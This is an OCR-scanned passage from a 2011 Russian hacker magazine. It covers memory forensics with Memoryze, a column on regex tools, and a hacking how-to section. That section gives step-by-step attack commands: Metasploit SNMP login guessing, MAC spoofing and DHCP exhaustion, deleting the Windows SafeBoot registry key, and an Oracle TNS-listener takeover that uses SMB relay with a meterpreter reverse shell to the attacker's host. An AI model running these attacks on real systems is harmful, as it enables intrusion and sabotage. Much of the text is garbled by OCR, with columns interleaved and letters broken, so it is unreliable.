MemoryDD.bat (о acqulre ап image of phVSlcal memory. ProcessDD.bat (о acqulre ап Image of the process' address space. DriverDD.bat (о acquire ilП image

о' а driver.

Proиss.bat (о enumerate everyth!ng about а process Includlng handles, v1rtual тетогу, network ports, ilnd strings.

HookDetectlon.bilt to look fcк hooks withln (ne ореГltlПl system.

DrlverWllkU$t.�t (о enumerlte 111 modules and drivers In I Hnked Ilst.

DriverSeilrch.biltto find drivers.

вдт-файлы, включенные в состав Memoryze

ДЛЯ

решения наиболее востребованных задач

только список идентифицирова н н ы х п роцессов со с п и ­ с к о м всех связа н н ы х D LL, хэндлов, с е к ц и й памяти и та к далее. Е ще раз обращаю твое в н и м а н и е : это будет с п и со к а бсолютно всех процессов, включая те , кото­ р ы е , воз можно , сп рята н ы в системе руткита м и . Та же истор и я и с дра йвера м и . И не могу не рассказать об одном и нтересн о м трюке. Если дважды кл и кнуть п о названию п роцесса, в пра­ вой части п рогра м м ы появятся нескол ько новых вкла­ док. В н е которых из н и х есть колонка «Occu rrences» С цифро в ы м и з н а ч е н и я м и [ н а п ри м е р , для с п иска п р и л и н кованных к п р оцессу d ll-библ иотек]. Эта ф и ч а о с н о в а н а на пара метре Least Frequency 01 Occu rrences [LFO], о п и са н н о м П итером С ильбермэном. Идея очень п роста я , но очень эффекти в н а я : тела малвари обычно относител ьно ун и кал ь н ы . П оэтому если компонент используется в нескольких п роцессах, то ему, вероятно, можно доверять. А есл и же н ет, есть п овод насторо­ житься . Такой п ростой п р и н ц и п зачастую п о м о га ет быстро оп ределить вредоносные б и бл иоте к и .

ЕВ '()rjyer'f'CIj'N>1m

& Al Dri'ven

C, '>\"dgм\S'I'S_]l�s\lcp.�

r·c:�\Sys_�'IIerh.!F'I'S

-С:\,oWdows\S,.u..��tOOO !F'I'S �-с,....\SYI"')��.1)IS ..-...s

--­ r 'Drin:f'6VМb:'o'ЮМ с -­

s mis �c.'IIOC bo! lW1 n OOS...R. """

. ...

... ..,

"' �... ,,'"

.

""" _-о

В" . ,

t'Pto-erWlId

.1

(]

д вот и список найденных в системе драйверов

...

..

_....-_ _.• т _· _

;���S:�J;:==� .

� ц_ ..--. - е ' 2

Список процессав с различными параметрами

П очему Memoryze?

С в я з ка M e m o ryze и A u d i t Viewer н е еди н ств е н н а я д л я п роведе н и я М е тогу Fore n s i c . Ш и р о ко р а с п р о ­ стра н е н также откр ыты й п ро е кт Vоl а tilitу Framework Теперь рассмотрим случ а й , когда мы можем проанали­ [vola t l lesystems. co m ] . П р и нал и ч и и M i n i GW и и нте р п ре­ з и ровать па мять на и меющемся в распоряже н и и ком­ татора Руt h о п е го даже м ож н о за пустить п од W i n d ows, п ьютере. В этом случае необязател ьно создавать дамп н о для этого п ридется п о воз иться . Н а м н о го п ро ще - у Audit Viewer есть livе - р ежи м , кото р ы й и м еет ряд совладать с н и м под L i n u x [особ е н н о есл и и м еть под преи муществ. Самая гла в н а я ф и ш ка в том, что п о м и м о рукой ма нуал bit . ly!Volat i lityM a n u a l] . В с п е циальном непосредственно операти вной памяти ты може ш ь под­ д и стрибути ве для ко м п ьюте р н ы х к р и м и нал истов SANS кл ю ч ить для а нализа еще и swар-файл, а также вы пол­ I nvestigative Forensic Toolkit ф р е й м вор к в к л ю ч е н и нять прове рку цифровых подписей. Это и нформация сразу готов к ра боте. С б о р ка этой с и стемы выложена испол ьзуется для подсчета и ндекса MRI [ M em o ryze's в виде о б раэа для запуска под VMwa re [compute r­ lогепsiсs.sапs.о гg/со m m u п itу/dоwп lоаds ] и доступна M a lware R a t i n g ] , позвол я ю ще го поразител ьно быстро оп ределить ш и ро к и й круг малвари. Есл и программе для бесплатной за груз к и . И все-таки чувствуешь, что в с е как-то сложнее? П о ка кой-то компонент п окажется подозрител ь н ы м , ты сразу об этом узнаешь. И м е й в виду, что п р и соответ­ этой п р и ч и н е я и выбрал д л я с е б я M e m o ryze. П р и всем бо гатстве фун кционала он н е похож на серьез н ы й ствующей вкл ю ч е н н о й о п ц и и утилита будет в ы ч и слять продукт для компьюте р н ы х к р и м и нал исто в . Работать хэш для каждого испол н яемого файла и б и бл и отеки, ассоциирова н н ы х с запуще н н ы м и п роцесса м и . с н и м можно сразу: для этого не надо в н и кать в горы Это может за нять значительное время. П оэтому как мануалов, чтобы получить резул ьтат. Зап исал файлы м и н имум не надо выби рать подсчет всех хэшей сразу на фле ш ку, создал образ па мяти в файл и п роанал и ­ [поддерживаются М D5, S H A 1 , SHA256] . М ож н о ограни­ з и ровал е го с п омощью Audit Viewer - в с е п росто, ка к ч иться одн и м из них, кото р ы й ты действ ител ьно будешь дважды два. Не надо быть спе циал истом , чтобы рас­ познать в получе н н ы х резул ьтатах элементы зловреда . испол ьзовать: н а п р и ме р , МD5. Выпол н е н и е « живоИ с п ол ьзуе м ы е в программе м етрики [Оссu ггепсеs и го» анализа мало ч е м отл ичается от п а р с и н га дампа M R I ] в купе с проверкой цифровых подписей часто я в н о па мяти . В том м есте, где мы раньше указывали путь до дают понять, к а к и е из н а йденных ком п о н е нтов в ы з ы в а ­ i m g -файла, достаточ н о в ы брать режим « Ac q u i re [and/ ю т подоз р е н и я . ог] Analyze Live М е тогу». И все. Тут стоит сказать, что Вообще, с а м а те ма М етогу Forensic вызывает бол ьшой в ы п о л н е н и е « жи вого» а нализа н и ка к не мешает нам интерес, причем не только как отдел ь н ы й вид к р и м и ­ сделать дамп па мяти . Н и когда заведомо н е знаешь, н а л и стических расследо в а н и й , н о и к а к эффекти в н ы й что позже ты може ш ь в нем обнаружить и увидеть. Для способ для а нализа с и стем ы [часто незаметного]. Это, этого в момент в ы бора режи мов извлечения [там же, откуда ранее могл и извлечь да м п кон кретно го процесса к тому же, е ще и работающий метод для излечения и или драйвера] надо не забыть в ы брать о п ц и ю « М е т о гу р е версинга с целевого ком п ьютера отдел ьных п роцес­ сов и драйверов. :::J: Acq uisition».

В ыпол нен ие «живого » а н ализа памяти

Х А К Е Р ОЗ / 1 46/ 2 0 1 1

На диске ты найдешь все н еобходимое для проведе н и я а нализа да мпа памяти.

� 0 37


• • Степан

..

Step» ИЛЬИН step!a g a m e L a n d . r u

Коnонка редактора

П ро регулярные выражения Регулярные выраже н и я - что это? Все о н и х слышал и , но почти н и кто, кроме раз­ работчиков, н е испол ьзует. А между тем , это мощнейшее средство для поиска и осущест­ вления манипуляций в тексте. Любая « регу­ лярка» [или « ре гесп»] предста вляет собой шаблон-образец для поиска, составленный по особым п равилам. П о какой-то нелепой и непонятной мне причине м ногие думают, что регулярные вы ражен и я , во-первых, очень сложны , а во-вторых, нужны только п рограмм иста м . И то и другое - чушь. С непривычки действительно довол ьно сложно въехать в п р и н ц и п составления регул ярок. Нужно думать, п р и вы кать к син­ таксису, подсматривать в ш паргалки с мета­ символа м и и внимательно изучать примеры. К счастью, сейчас есть цел ый набор и нстру­ ментов, которые карди нал ь н ы м образом уп рощают как изучение регулярных выра­ жен и й , так и и х дал ьнейшее использование. Тем более, ш ироко доступн ы базы готовых регул я рок для решения наиболее ти п и ч н ы х задач , та к что во м ногих случаях можно вообще н и ч его н е составлять вручную и п р и этом использовать очевидные преи муще­ ства технологии. Также довольно глупо полагать, что регуляр­ н ы м и в ы ражениями могут воспользоваться только л и ш ь програ мм исты . Если вспом нить историю, то впервые поддержка регеспов появилась вовсе не в языка х програ ммиро­ вания, а в ю н и ксовых п рограммах: редак­ торе sed и фильтре g rep. Сейчас же все бол ьшее коли ч ество п р иложений начи нает поддерживать регул я р н ы е в ы ражения для эффективного в ы полнения самых обычных зада ч : файловые менеджер ы , текстовые редакторы и многие другие. М ожно по-прежнему и спользовать ста н ­ дартн ы й п о и с к с з а м е н о й для внесения п равки в тексте, а можно п риспособить регулярки для а втоматического в ыполнения самых сложных замен. И это лишь п р и м и ­ т и в н ы й при м е р . В рамка х этой колонки я ни в коем случае не хочу рассказы вать о том , как составля ются регулярки. Базовые з н а н и я , которых впол­ н е достаточно для старта, можно получить, п росто п рочитав соответствующую статью в русской Wiki pedi a . Зато я точно знаю, как сделать процесс освое н и я , тести рования и и спользования регулярок п роще, чем и спешу п оделиться. Чтобы лучш е осознать, что регулярное

� оз8

в ы ражение, ка к бы сложно оно ни выгляде­ ло, представляет собой лишь шаблон для поиска, нужно предста вить его в П О Н ЯТном графи ч еском виде. Сервис stгfгiend [strfri end .com] позволяет для л юбой регу­ лярки получить визуальное п редставление того, ка к она будет обрабатываться. Это сразу добавляет десять очков к п о н и м а н и ю . П росто попробуй вставить несколько реге­ спов из учебника или откуда-либо еще и посмотреть граф их обработки - все тут же станет намного яснее. Регуля рное в ыраже­ ние для проверки правильности e-mail Л[ [ЛГcJ\s]+]ГcJ [ [ ? :[-а-zО-9]+\.]+[а-z]{2'}]$ - может п оказаться чудовищн ы м для новичка . Но все встает на свои места, когда видишь его графическое п редставление !см. скрин шот]. К тому же, это еще и отл и ч ное средство для того, чтобы б ыстрее разобраться в чужом [или своем, но давно составленном] регу­ ля рном выражени и , что полезно даже тем , кто с регул я р ка м и п роблем не испытывает. Аналоги ч н ы й функционал п редлагает раз­ работка Gгaphгex !crotonresearch .com/ graph rex] , реал изованная в виде плагина для среды разработки Eclipse. Если ввести это же регулярное вы раже н и е в програ м м е RegexBuddy [regexbuddy.com] , то получ и ш ь н е менее ценную п омощь. Для каждого токена [значи мого элемента] регу­ лярного в ыражения п рограмма выдаст рас­ ш и ф ровку: зачем он нужен и что в данном случае делает. Н о главное то, что возможна и обратная конвертация. Ка к это в ы глядит? Через удобное меню ты выбираешь нужные тебе токе н ы с понятным описанием - ска­ жем, « позиция В начале строки», « после­ довател ьность из не менее 2-х и не более

4-х си мволов», « символ ы от А до Z и цифры от О до 9», - а RegexBuddy сам составляет регуля рное выраже н и е : « \A[A-ZO-9]{2,4}». С и нта ксис сильно отличается в разных язы ках п рогра м м и рова н и я , н о п рограмма поддерживает почти все вариации [ Perl, С#, Р Н Р , Python, Java, JavaScript и другие ] . П олученную регулярку тут ж е можно п ро­ тести ровать на п роизвольном тексте или сохран ить для будущего испол ьзова ния в базе данных, в которой изначал ьно собрано м н ожество готовых примеров. Аналоги ч н ы е возможности п редоста вл я ют и другие утилиты, в том ч исле Expгesso [u ltrapico.com] и The regulatoг Isourceforge.net/projects/regu lator] . В отл и­ ч и е от RegexBuddy о н и бесплатн ы, но и не настолько удобны. Н а последок хочу рассказать еще об одном любопытном методе, позволяющем каждому составлять регулярные в ы ражен ия и п р и этом вообще н е вникать в их синта ксис. Идея в том, чтобы п редоста вить п рогра м ме текст и отметить в нем т е фра гменты, которые должна находить регуля рка. П р иложен и е п р и этом само п ытается вы пол­ н ить сопоста вление и составить п р и мерное регулярное выражение. Такой подход реа­ л изован в утилите RegexMagic [regexmagic. сот] . Она, конеч но, не сможет сделать абсо­ лютно все за тебя - разл и ч н ы е параметры регеспа непременно придется уточ нять и подстра ивать, но процесс работы выстроен таким образом, что работать с синтаксисом регулярных вы ражений не нужно вовсе. Несколько демонстраций с практическим и п р и мерами на офи циал ьном сайте наглядное тому подтверждение. :Х:

Графическое представление peryлярного выражения

ХАКЕР 03 / 1 46/ 20 1 1


,.. • • А л е к с е й « G r e e n D o g » Т ю р и н l a g r r r d o g fёl g m a H. c o m l

Metasploit'

А

a подмена МАе, взлом Oracle, Zenmap

as

ас

ЗАДАЧА: Создать GUI-и нтерфейс под Metasploit Framework. РЕШЕНИЕ: П рошедш и м летом M S F обзавелся новым G U I -и нтерфейсом , написан­ н ы м на Java. Это было хорошей заменой ста рому, кривоватому. Об этом я п исал в одном из п рошлых номеров. Jаvа-гуй вырос. И теперь п ред­ ставляет собой хорош и й продукт. Хотя, спартанский такой п олучился - консоль не замен ит. Удобно в нем разве что полазить по папочка м жертвы и л и порыскать по структуре модулей/сплойтов, которых ста но­ вится все больше. Юзабил ити у него не на самом высоком уровне. Н о некоторое время назад у нового гуя поя вился кон курент. П р и ч е м от стороннего фаната-разработчи ка, который трудится не покладая рук. Гуи получился хорошеньки й , н яш н ы Й тако Й : l . И народу это творение понравилось. Название ему Iточнее, ей) -Armitage. Фанатика-созда­ теля зовут Рафаэль Мудж. С а йт - fаstа пdеаsуhасkiпg.соm . Armitage, аналогично официальному G U l , н а писана на Java и ис­ пользует RPC для вза и м одействия с M S F Iхотя и используется RPC, но обертке требуются кое-ка кие части самого MSF, потому удаленное использование Armitage п ока невозможно). Для работы новой GUI тре­ буется Java версии не ниже 1 .6, а также база дан н ы х I PostgreSQL или MySQL), к которой подкл ючен MSF. Arm itage получилась и юзабельна, и очень наглядно-показател ьна. С такой штукой круто скрин ш оты делать. Тру-хакерские получаются :1. Видно, что Рафаэль подошел к делу с любовью. С а м а втор позиционирует свое творение ка к вещицу для тех, кто не юзает MSF каждый день, но хотел бы без пробле м вос­ пользоваться всеми бла га м и фрэЙм ворка. Н о лучш е оди н раз увидеть, чем сто раз п роч итать - для ЭТОЙ штуковины уж точно. А потому сразу отправляю на просмотр пары показательных видео: fasta ndeasyhacki ng.com/media . Кроме красот и хорошей юзабельности есть еще небольшие полез н ы е фичи и бонусы, которые в совокупности делают Агmitа g е уж точно круче официального G U I . Н а п р и м е р :

Пять хостов В локалке, один - уже наш либо запускаем в консоли !стандартной виндовой или от MSF) команду: ruby ms f rpcd -Р pas sword - f

Зде с ь - Р - парол ь на вход Iлогин msf), - 1 -демон в бэкграунд IHe работает в Win). З. Arm itage запуска е м , испол ьзуя a rmitage.bat. Вводим логи н , парол ь и другие настройки для подключения к msfrpcd, строка для подсоедине­ ния к БД подгрузится автоматически. Есл и последнее не п роизошло, то можно сделать это ручкам и - настройки БД MSF'a лежат в % M SF%\ conlig\database .yml. 4. Кликаем Соппес! и наслаждаемся п рекрасным :1.

Установка под ·nix.2. красивое наз вание и стильная иконка : ) ; визуализация хостов поверженной сети , направления атаки ; рекомендации по использованию сплойтов / ра звитию атаки;

1 , Установить Агm itаgе проще всего, и спользуя a pt-get: a p t-g e t i n s t a l l armitage

понятно е и постоянное в заимодействие с базой данных .

Из косяков сразу стоит отметить некорректную работу с русскими код и ­ ровка м и и пока что отсутствующий м одуль I ncognito.

2. Второй пункт аналогичен Wiп-версии I разве что ruby можно убрать). З. Дан н ы е по БД требуется указывать вручную. В BackTrack4 R2 ис­

пол ьзуется MySQL:

Установка и запуск Armitage . Та к как проект небол ьшой, то в нем нет поддержки старых версий MSF la оно кому-то надо?) Потому желател ьно и м еть наиболее свежую версию MSF Imsfupdate). Итак, уста новка под Win. 1. Разархивируем архив в папку с MSF. Если точнее, то armitage.bat - в корень, и конку - в icons; a rmitage - в msf3, папку armitage - в папку data. 2, Запускаем mslrpcd. Л ибо в mslconsole пишем loadxml, из которого получаем логин и пароль,

� 040

Запускаем МуSQL : ы

/ e tc / ini t . d/mysql start Запускаем Armi tage :

. / armitage . sh

Логин\пароль в настройках кон н е кта к БД - root\toor. Последние новости: Armitage теперь устанавливается автоматически по ком анде msfupdate. Х А К Е Р 03 / 1 46/ 2 0 1 1


ЗАДАЧА: Подменить МАС-адрес сете­ вой карты.

.

тe:chnitium МАе Addr6S Сh.aпgб v5 R3 ьу Shrey"s Za� f.ile

Qptions

Net_

.Qonate

l:::1elp

conneclions

6еcnpоеодное сетееое coeдl4iel"l+e 4

РЕШЕНИЕ: Да -да -да , зада ча п роста я . Но это н и в коем случае не умаляет ее з н а ч имости. Н а п о м н ю , МАС-адрес - это уни кал ьный 48-битн ы й иден­ тификатор, присваиваемый каждой единице оборудова н ия в сети . П о м н и , что МАС не выходит за п ределы л о калки и обрубается п р и вы­ ходе па кета из другого сегмента сети. А потому потребность в смене МАС"а связана в основном с « работо й » в л о кал ь н ы х сетях. Н а п р и м е р , когда заблочат на ка ком-то сетевом оборудова н и и за н еп равомер­ н ы е действия типа ска н и ро в а н и я . Фильтрация по МАС'у - одно из основных действи й . Все сетевухи позволяют изменять МАС-адрес, но настрой ки чаще всего запихнуты куда-то глубоко, и вносить измене­ н и я в производстве н н ы х масштабах неудобно. П од U п i х существует классический maccha nger l a lobbs com/ macchanger ] . М ожно поменять адрес на полностью рандо м н ы й МАС, частич н о рандо м н ы й IOT оп редел е н н о го п р о и зводителя ] либо ввести е го вручную.

VМwaf8 NetwOfk Adapte, VМnet1

Бесnpоеоаное сетееое соедl4iet1Иe 3 Беcnpоеодное сетевое coeд� 2

ПOДJ(J'lOЧeНИe no noкaJ1b/"lOA cerи NetWOlk CorYIection Detais

Connection . .

No No No No

LUSt.,",

МдCAddI=

C2·17-FHO·BD·FO ()()'50-5б·СО{)0{)1

Up. Non Operalioмl Up. Operational DitobIed DitobIed Up, Non Opefalional

()().14·1Е·16-41·2О

У..

IP Addte$$

. ПQ:l,К1IfOЧeIiИe по lЮК.аJ'lbНOCt сети

0.0..0.0.

Device Name . . .Br�om Nellink (ТЫ) Gi�� Elnernel

100МЬро

Disablec! о ьро Oisabled O

Subnet Mask

i>ps

8 "

0..0.0.0

Hardware ID . . . pcI\Yen_14e4&dev_1S92&SI..bsys_38cf17aa

Ca-li!>лolion ID .{978ВдСС5-2В39·4F4З-ВЗ8f-lOC746Ot181ЗЗ) МACAd<iess . . .0О·1 4·1Е·16·41-2О (Chonged)

Р-А. Semilnc. (0О-14-1Е) Address: 3Э65 Fleedorr

urk . . 1JP. Non Оре,atЮnol

Speed . . . . . . е Ьро

Recv . .4В.193.669 Byte. (45.96 МВ)

Speed .

Sent . . 386.827.899 Byte, (368.91 МВ)

онср . . .Enabled

TCP�P . .Enabled QisobIe

r(�::r::;

I

Speed . . . о Byte",

. . о Byte",

��"--_----L_ @] @j] l ReJeмelP I ReoewlP « Add » 1« Вemove » I

L.... Ob ained . 21.01.2011 10:11:25 t L.... Е"""•• . . . 22.01 .2011 10:11:25

I �МдC I ,e

I Met,ic

DisableDHce

t p se '

.1

Наглядное изменение МАС-адреса

i fcon f i g ethO down macchanger - а ethO

отключения интерфейса на время смены адреса. А главное - сделано в Индии : ) . Кстати, на основе смены МАС'а существует одна DoS-ата­

Здесь мы п олучаем рандо м н ы й МАС н а и нтерфейсе ethO, перед этим откл ючив его в первой строчке. М ожно обойтись и систе м н ы м и с редствам и I Li п uх ] : i fc on f i g ethN hw ether <mac- address>

ка - израсходование всех IP-адресов подсети. Атака возможна, если в локалке работает выдача по DНСР. Суть заключается в том, что мы с подставных МАС'ов запрашиваем новые IP. DНСР-сервер выдает их нам. Привязка MAC-IP на сервере действует чаще всего в течение 24

часов. Таким образом, достаточно быстро (в зависимости от размера подсети) мы заполучим все свободные IP-aдpeca, и серверу будет

А под Wiп могу посоветовать ТМАС от наших индийских соратников

нечего выдать ни нам, ни кому бы то ни было еще :). К Metasploit'y есть

(tесhп itium.соm ) - утилита хороша тем, что работает под все версии

модуль, реализующий этутему- DНСР Ехhаustiоп. Я о нем упоминал

DНСР, а также есть пара полезных мелочей типа автоматического

digIПIПlа.огg/mеtаsрlоit/dпs dhcp.php

винды. Можно выбирать производителя, отключать получение IP по

ЗАДАЧА: Админ истрировать сетевое оборудова ние, используя SNMP-прото­ кол . РЕШЕНИЕ: 5 N M P ISimple Network М а паgеmепt Protocol] - это протокол для

удале н н о го управления всевозможн ы м и сете в ы м и устройствами Iчто, думаю, понятно из расшифровки аббревиатур ы ] . Д л я с в о е й работы SN М Р испол ьзует U D Р-п ротокол. П о ста нда рту сер­ в и с висит на 1 6 1 порту. Версий у SN М Р п ротокола аж цел ых три. Версия 1 самая незащище н ная - парол ь , а точнее так называемая соmmuпitу stгiпg, передается в открытом виде в U D P-пакете. Та к что можно проснифать. В версии 2 и 3 применяются хэширование и ш ифро­ вание соответственно, но и они и меют криптографические проблемы. Хорошая практика - указы вать устройству, с каких I P могут приходить S N М Р-зап росы . Но и это при определенных условиях легко обходится, так как в U D P отсутствует « рукопожатие» - предварительный обмен па­ кетами для установки соединения. Сам протокол подцерживается почти всеми сетевыми устройствами типа свитчей, роутеров, гейтвеев и так далее. Самые распространенные соmmuпitу stгiпg'и - public с п равами чтения и private с правами чтения/записи настроек. Кстати, pu blic н е такая уж бесполезная вещь, ка к может показаться. К примеру, по S N M P можно узнать точную версию ОС, список всех за пуХАКЕР

03 1 1 46/ 2 0 1 1

пару месяцев назад, когда описывал DNS MiTM. Взять можно тут:

щенных процессов и открытых портов, и нформацию о сетевых и нтер­ фейсах и прочие и нтересные дан ные. Кроме того, по SN М Р-п ротоколу можно получить полезную информацию от всевозможных штуковин типа обычных сетевых принтеров или ч его-то более специализиро­ ванного , н а п р и м е р частей системы I B M Tivoli. А теперь - статистика. Во-первых, протокол версии 1 до сих пор поддерживается и очень ш и ­ роко распространен. Во-вторых, ч а ще всего на сетевых устройствах S N M P включен п о умолчанию, п р и ч е м с общеизвестн ы м и стри н га м и . И в-третьих, если поменять ста нда ртн ы й парол ь на веб-и нтерфейс или ssh к устройству адм и н ы не забывают, то с S N M P совсем другое дело. Да и на фай рволлах тоже нечасто блочат U DР-трафик. И немного п ра ктики. Самое важное - п одобрать эту самую соm m u п i tу­ строчку, а потому юзаем модуль M etasploit'a: Выбираем модуль : use auxi l iary/ scanner/ snmp / snmp_login Указываем цель и запускаем: set RHOSTS ip_addr run

П одобрав строчку, можно проч итать основную информацию. Юзаем модуль аuхiliагу/sсап п е г/sпm р/sпm р_епu т . И еще одна важная деталь. S N M P это уни версальный протокол

-

� 041


для с а м ы х рзл и ч н ы х устройств, а потому встречаются небол ь ш и е трудности с е го и с п ол ьзова н и е м , та к к а к M I B [иерархия настроек! у разных устройств - разная, хотя и есть общие ветки [ кото р ы е как раз и ч итаются модуле м s n m p_en u m ! . В м ета сплойте есть нескол ько модул е й , зато ч е н н ы х под определ е н н ы е зада ч и/устройства. Это

скачка/з а ка ч ка кон ф и гов д л я Cisco, а также раскрытие пол ьзовате­ лей и шар на Wiпdоws-системах. Для других устройств можно посмотреть их M I B'bI и использовать спе­ циализирова н н ы й софт под S N М Р с net-snmp.sourceforge.net, который, кстати, предуста новлен в ВТ4 ..

ЗАДАЧА: Пои ск сайтов по доменному и мени . Resu�s (аг xakep Foul'Id!i.iltt

РЕШЕНИЕ: И опять займемся собирательством информа ц и и . В ситуациях, когда взламы вается какой -то круп н ы й портал, задача оп редел е н и я поддо­ менов - важная, ка к ни крути. Кто знает, с какого конца п ролезешь и откуда вылезешь? Ведь безопасность - вещь ком плексная и часто рушится с малого . . . У знаменитого портала netcraft.com есть одна п риятная возможность - поиск сайтов по части доменного имени. Н а п ример, мы хотим найти поддомены xakep.ru. П ишем xakep - полу­ чаем результат [см. скриншот!. Конечно, есть и другие способы, но этот быстр и особе н н о хорош. если поддомены хостятся в разных местах. Еще положител ьная вещь - возможность использовать ла йтовые регулярные вы ражения при за просах: - - любое количество ? -

СИМВОЛОВ i

любой символ i

,

ЗАДАЧА: Убрать возможность захода в безопасный режи м Windows.

Ii Ii Ii Ii Ii Ii Ii Ii Ii

�...

""'-

О·__ '"

--

* . xakep . ru

А та к можно увидеть все языковые поддомены googl' a : www . google . * . ? ?

В допол н е н и е к полученной и нформации м ы видим примерную вер­ сию О С , а также владельца ' Р-адреса обнаруженных серверов.

.'

I

Peдcuoop pecctpil

- _ .... _ с....Ii D .....

РЕШЕНИЕ: Наверное каждый, кто пользовался виндой, залезал в этот преслову­ тый безопасный режим [Safe Mode! для решения каких-то п роблем в самой ОС, либо вычи щая накопивш иеся кучи виреЙ : l . Нута к вот, чтобы твой вирь не покоцал ком п , да или п росто из хул и га нских целей [вспо­ м и н а ются ранние выпуски журнала Хакер : 11 , безопасный режим можно убить. Делается это просто - удалением следующей ветки реестра: HKEY_LOCAL_МACHINE\ SYSTEM\CurrentCont ro lSet\Control \

о.

--

Ммм... поДДомены xakep.ru + ос детект

[ ] - какой-то из перечисленных символов .

Н а п ример, более точ н ы й зап рос на п оддомены xakep.ru в ы глядит следующим образо м :

... -

сз a� a� S D Sof_ еа_ Е:1 �"""Cf.OO!i6-ЖS5З

-

�(По ,...)..

т..,

REG..5l

-

-

CJ {1036E9БS-EЗ2S-1IСЕ-8FCI-080028 {1ОЭ6Е9б7..f32S.IIСЕ..sFCI-OIIOO2В {1OЭtifCJ69-EЗ2!r.llа....сI-OllOO2В CJ {4ОЭ6Е96А-E32S- llСЕ-IIfC l-oeoo:2f D {«>Збf96f.fЗ2S.1

D {<оэо<m.fЭ25.1 D {<ОЭО<97bl32S-1 Е:1 {4OЭ!E91Ы3ZS- 1

�{�'

РО].ВСРНУТЬ СФ.А&1Ъ НIIйтн.••

.

У.---. �

Отключим клаву да мышу?

SafeBoot

В резул ьтате п р и поп ытке запустить безоп а с н ы й режим появится « с и н и й экран смерти» с ошибкой о кривости реестра. Важ н ы й момент: чтобы вносить изменения в дан ную ветку, требуются права адм и н а . Вместо удаления можно поступить более хитро. У SafeBoot есть под-

ЗАДАЧА: Захватить Windows с БД Oracle через TNS-listener.

ветки [ раздел ы!- M i nimal и N etwork, которые оп ределя ют сервисы, запускаемые п р и старте системы в «безопасном режиме» или в « безопасном режи ме с поддержкой сетевых и нтерфейсов» . Таким образом мы можем, например, отключить м ы шу и кла ву. Кстати, эту возможность можно использовать и во благо :1.

Ита к, поднимаем 5 M B Relay cepBaK [естественно, в M etasploit'e! : u se exp l o i t / windows / smb/ smb_re l ay

РЕШЕНИЕ: В прошлом номере я п и сал об уязви мостях TNS-listener'a. Особенно п р и стандартных настройках в версиях Oracle 8/9. Этот пример ис­ пол ьзуетту же уязви мость [а точнее - возможность установки файла логов!, поэтому не буду повторяться в о п и са н и и . Ф и ш ка данного мето­ да закл ючается в использовании set_log'a совместно с 5 M B Relay'e M . Ну, я думаю, т ы понял идею.

� 042

Выбираем нагрузку :

s e t PAYLOAD windows /meterpreter/ reverse_tcp Куда smЬrеlау ' им :

s e t RНOST I Р_жертвы Куда коннектится back-connect шеллу :

se t LHOST наШ_IР exp l o i t

Х А К Е Р 0 3 / 1 46/ 2 0 1 1


Далее запускаем регl-скри пт, который задаст Огасlе-серверу путь сохра нения логов, а именно - н а ш ком п с настро е н н ы м 5 M B - ге lау' е м . . / tnscmd . p l -h orac l e_server_ip

и ч ерез п а ру с е кунд м ы п олуч и м адм и н и страторские п р а ва к систе­

ме. Если O racle стоит ста р ы й [8/9] , то, возможно, о п е р а ц и о н ка тоже ста р а я , н е п р о патч е н н а я , а потому релэй м ожно п о п ытаться сделать на нее же. И с а м ы й важный м о м е нт - с е р в и с O racle ' a должен быть запущен с п р а в а м и пользователя, а не под с и сте м о й . Жал ь, что та кое б ы ва ет н е часто. Видео- п р и м е р можно посмотреть на vimeo . com/550093 1 .

- - rawcmd

" ( DESCRI PTION= ( CONNECT_DATA= ( С Ш= ( PROGRAМ= ) ( HOST= ) ( USER= ) ) ( COММAND= l og_ f i l e ) (ARGUМENTS = 4 ) ( SERVICE =LI STENER) (VERSION=l ) ( VALUE= \ \ \ \ ip_smb_re l ay_ serve r \ \ shar e ) ) ) "

ЗАДАЧА: Отфильтров ать отчеты Nmap B Zenmap'e.

вида «Ор», « fp», « ufp» можно указать, что отображать нужно только открытые, отфильтрова н н ы е или неотфильтрованные порты соответс­ твенно, а также задать конкретн ые порты для отображения. Командой « s:» можно поставить текстовый фильтр на сервисы [см. скрин шот]. Та кже п р и кол ьные вещи в Zenmap'e - отображение топол о ги и сети и воз можность сохра нения профилей сканов. В общем, очень советую поп робовать. Из м и нусов стоит пожаловаться на лаговость G U I - есл и коли чество хостов пре в ышает 1 000, то прога тупит около секунды после каждого кли ка.

РЕШЕНИЕ:

Nmap - вещица всем известная и многофун кциональная . У нее есть несколько форматов для сохранения да нных. И мхо, самые юзабель­ ные - это XML [пара м етр -оХ] и gnmap [ параметр -оG]. П оследн и й ­ так называемый g reppable птар, подо гнанный п од классическуюути­ л итку g rep. При работе с круп н ы м и сетя м и воз н и кает необходимость быстро и четко делать выборки п о те м или и н ы м пара м етра м . Н о с g rep'oM операти вность не та к Фильтруем результаты в Zenmap вел и ка, особенно с учетом отсутс­ твия под ви ндой такой команды. ��� Инструменты Профиnь Помощь Потому для меня стало приятным з н а комство с Zen map'oM. Для Профиль Отмена СкаНИРО8ание с п равки : Zenmap - это офици­ . ':::;) -j nmap -sV -PN -р1-б5535 -n -Т4 -оА L -::-11 альный G U I к Nmap'y. Раньше я в нем вообще не видел с м ы сла - в Сераисы консол и все быстрее делается. • Имя хоста • Порт . Протокол . Состояни е · Версия Н о с обработкой результатов 80 open tep Apaehe httpd • о н , конечно, помогает. Во­ 80 tep open Apaehe httpd • первых, Zenmap умеет ч итать 80 open tep Apaehe httpd • результаты скана в X M L -виде. 80 tep open Apaehe httpd • ssh Во- вторых, может работать сразу 80 open Apaehe httpd tep • telnet по нескольким отчетам в одном 80 tep open Apaehe httpd • окне с объединением результа­ 80 open Apaehe httpd tep • тов. То есть, например, можно 80 tep open Apaehe httpd • открыть скан портов всей сетки 80 tep open Apaehe httpd и скан какой-то ее части, но с • оп редел е н н ы м и сервисами на 80 open tep Apaehe httpd • портах. В резул ьтате хосты не open 80 tep Apaehe httpd • дубл и руются, а информация по 80 open tep Apaehe httpd • каждому порту берется из ХМ L с бол ь ш и м количеством данных. И, наконец, можно и спользовать фильтры. В н и зу есть кнопка 111 « Фильтр хостов». В н е й можно Фильтр хостоа задавать подсетку I P-аАресов 12/44 ХОСТО8 показано Фильтр ХОСТО8: s:APaehe ор:n для отображе н и я . Команда м и ������������

I

�J

[-1 I

l I

I

I

I

